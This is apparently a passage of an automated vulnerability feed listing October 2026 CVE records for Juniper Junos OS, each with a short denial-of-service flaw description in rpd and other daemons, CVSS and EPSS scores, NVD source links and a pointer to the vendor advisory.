Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an...
https://kevwire.com/record/CVE-2026-101971
An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an... (Oct 14, 2026).
An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service and heap memory corruption via OSPFv3 messages on an enabled broadcast interface.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101971).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101971&date=2026-10-25).
Sources:
NVD CVE-2026-101971: https://nvd.nist.gov/vuln/detail/CVE-2026-101971
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101971&date=2026-10-25
An Allocation of Resources Without Limits or Throttling vulnerability in rpd, the routing protocol daemon, of Juniper Networks Junos OS and Junos OS Evolved platforms allows an unauthenticated adjacent attacker to cause a denial of service and heap memory corruption via OSPFv3 messages on an enabled broadcast interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker...
https://kevwire.com/record/CVE-2026-101972
An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker... (Oct 14, 2026).
An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via specific OSPFv2 packets sent on an OSPF-enabled interface.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101972).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101972&date=2026-10-25).
Sources:
NVD CVE-2026-101972: https://nvd.nist.gov/vuln/detail/CVE-2026-101972
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101972&date=2026-10-25
An Integer Overflow or Wraparound vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via specific OSPFv2 packets sent on an OSPF-enabled interface.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed...
https://kevwire.com/record/CVE-2026-101973
A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed packet received during CMP enrollment or automatic certificate re-enrollment.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101973).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101973&date=2026-10-25).
Sources:
NVD CVE-2026-101973: https://nvd.nist.gov/vuln/detail/CVE-2026-101973
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101973&date=2026-10-25
A NULL Pointer Dereference vulnerability in the pkid component of Juniper Networks Junos OS allows an unauthenticated remote attacker to cause a denial of service via a malformed packet received during CMP enrollment or automatic certificate re-enrollment.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or...
https://kevwire.com/record/CVE-2026-101974
An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or cause a rpd crash via a malformed OSPF packets.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101974).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101974&date=2026-10-25).
Sources:
NVD CVE-2026-101974: https://nvd.nist.gov/vuln/detail/CVE-2026-101974
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101974&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in rpd of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to disclose rpd memory or cause a rpd crash via a malformed OSPF packets.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of...
https://kevwire.com/record/CVE-2026-101975
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of service via OSPF traffic processed while OSPF Source Packet Routing best-route Prefix-SID installation is configured.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101975).
EPSS 0.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101975&date=2026-10-25).
Sources:
NVD CVE-2026-101975: https://nvd.nist.gov/vuln/detail/CVE-2026-101975
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101975&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent OSPF peer to cause a denial of service via OSPF traffic processed while OSPF Source Packet Routing best-route Prefix-SID installation is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated...
https://kevwire.com/record/CVE-2026-101976
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated... (Oct 14, 2026).
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated four-octet-AS capability sending a specifically malformed BGP update to cause a Denial-of-Service (DoS).
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101976).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101976&date=2026-10-25).
Sources:
NVD CVE-2026-101976: https://nvd.nist.gov/vuln/detail/CVE-2026-101976
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101976&date=2026-10-25
An Out-of-bounds Write vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an eBGP peer which has not negotiated four-octet-AS capability sending a specifically malformed BGP update to cause a Denial-of-Service (DoS).

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent...
https://kevwire.com/record/CVE-2026-101977
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent routing-daemon denial of service via a specific BGP packet when ephemeral configuration is used.
CVSS 8.7 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101977).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101977&date=2026-10-25).
Sources:
NVD CVE-2026-101977: https://nvd.nist.gov/vuln/detail/CVE-2026-101977
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101977&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a configured eBGP peer to cause a persistent routing-daemon denial of service via a specific BGP packet when ephemeral configuration is used.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of...
https://kevwire.com/record/CVE-2026-101980
An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of... (Oct 14, 2026).
An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of service by a kernel crash.
CVSS 9.3 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101980).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101980&date=2026-10-25).
Sources:
NVD CVE-2026-101980: https://nvd.nist.gov/vuln/detail/CVE-2026-101980
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101980&date=2026-10-25
An Integer Underflow vulnerability in the kernel of Juniper Networks Junos OS with Extended Echo configured allows an unauthenticated, network-based attacker to cause a denial of service by a kernel crash.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of...
https://kevwire.com/record/CVE-2026-101984
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of service when labeled-unicast aggregate-label is configured.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101984).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101984&date=2026-10-25).
Sources:
NVD CVE-2026-101984: https://nvd.nist.gov/vuln/detail/CVE-2026-101984
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101984&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a network-adjacent BGP peer to cause a denial of service when labeled-unicast aggregate-label is configured.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an...
https://kevwire.com/record/CVE-2026-101985
A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an... (Oct 14, 2026).
A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated IS-IS peer to cause a denial of service.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101985).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101985&date=2026-10-25).
Sources:
NVD CVE-2026-101985: https://nvd.nist.gov/vuln/detail/CVE-2026-101985
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101985&date=2026-10-25
A Improper Validation of Specified Quantity in Input vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS Evolved on PTX Series allows an unauthenticated IS-IS peer to cause a denial of service.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to...
https://kevwire.com/record/CVE-2026-101987
An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to... (Oct 14, 2026).
An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service by sending a specific IS-IS SRv6 packet when SRv6 and Flexible Algorithm are enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101987).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101987&date=2026-10-25).
Sources:
NVD CVE-2026-101987: https://nvd.nist.gov/vuln/detail/CVE-2026-101987
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101987&date=2026-10-25
An Improper Validation of Specified Quantity in Input vulnerability in the routing daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent attacker to cause a denial of service by sending a specific IS-IS SRv6 packet when SRv6 and Flexible Algorithm are enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to...
https://kevwire.com/record/CVE-2026-101988
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to... (Oct 14, 2026).
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via LDP messages received over an operational LDP session.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101988).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101988&date=2026-10-25).
Sources:
NVD CVE-2026-101988: https://nvd.nist.gov/vuln/detail/CVE-2026-101988
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101988&date=2026-10-25
A NULL Pointer Dereference vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an unauthenticated adjacent attacker to cause a denial of service via LDP messages received over an operational LDP session.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash...
https://kevwire.com/record/CVE-2026-101989
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash via a crafted LDP message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101989).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101989&date=2026-10-25).
Sources:
NVD CVE-2026-101989: https://nvd.nist.gov/vuln/detail/CVE-2026-101989
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101989&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows a compromised LDP neighbor to cause an rpd crash via a crafted LDP message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an...
https://kevwire.com/record/CVE-2026-101992
An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an... (Oct 14, 2026).
An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an rpd crash via a BGP VPLS signaling update.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101992).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101992&date=2026-10-25).
Sources:
NVD CVE-2026-101992: https://nvd.nist.gov/vuln/detail/CVE-2026-101992
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101992&date=2026-10-25
An Improper Input Validation vulnerability in the routing protocol daemon (rpd) process of Juniper Networks Junos OS and Junos OS Evolved allows a configured BGP peer to cause an rpd crash via a BGP VPLS signaling update.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of...
https://kevwire.com/record/CVE-2026-101993
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of... (Oct 14, 2026).
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of service via a VPLS signaling update when automatic site-ID negotiation is enabled.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101993).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101993&date=2026-10-25).
Sources:
NVD CVE-2026-101993: https://nvd.nist.gov/vuln/detail/CVE-2026-101993
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101993&date=2026-10-25
A Reachable Assertion vulnerability in the routing protocol daemon (rpd) of Juniper Networks Junos OS and Junos OS Evolved allows an adjacent eBGP peer to cause a denial of service via a VPLS signaling update when automatic site-ID negotiation is enabled.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to...
https://kevwire.com/record/CVE-2026-101996
A Reachable Assertion vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to... (Oct 14, 2026).
A Reachable Assertion vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to cause a denial of service via an inconsistent ICCP peer message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101996).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101996&date=2026-10-25).
Sources:
NVD CVE-2026-101996: https://nvd.nist.gov/vuln/detail/CVE-2026-101996
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101996&date=2026-10-25
A Reachable Assertion vulnerability in the 

l2ald 

daemon of Juniper Networks Junos OS and Junos OS Evolved devices configured for MC-LAG/ICCP allows an adjacent attacker to cause a denial of service via an inconsistent ICCP peer message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP...
https://kevwire.com/record/CVE-2026-101999
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session carrying an IPv6 Prefix FEC in a specific Label message.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-101999).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-101999&date=2026-10-25).
Sources:
NVD CVE-2026-101999: https://nvd.nist.gov/vuln/detail/CVE-2026-101999
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-101999&date=2026-10-25
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session carrying an IPv6 Prefix FEC in a specific Label message.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP...
https://kevwire.com/record/CVE-2026-102000
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP control traffic.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102000).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102000&date=2026-10-25).
Sources:
NVD CVE-2026-102000: https://nvd.nist.gov/vuln/detail/CVE-2026-102000
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102000&date=2026-10-25
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent unauthenticated attacker to cause a denial of service via LDP control traffic.

NVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.
Action: Check the vendor advisory for affected versions and fixes.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP...
https://kevwire.com/record/CVE-2026-102011
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP... (Oct 14, 2026).
A Reachable Assertion vulnerability in the rpd process of Juniper Networks Junos OS and Junos EVO allows an adjacent attacker to cause a denial of service via an established LDP session when two misconfigured neighbors (or one neighbor duplicated by an L2 loop) advertise the same transport address on a link-protected interface.
CVSS 7.1 (version 4.0; evidence as of Oct 15, 2026; https://nvd.nist.gov/vuln/detail/CVE-2026-102011).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-102011&date=2026-10-25).
Sources:
NVD CVE-2026-102011: https://nvd.nist.gov/vuln/detail/CVE-2026-102011
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-102011&date=2026-10-25
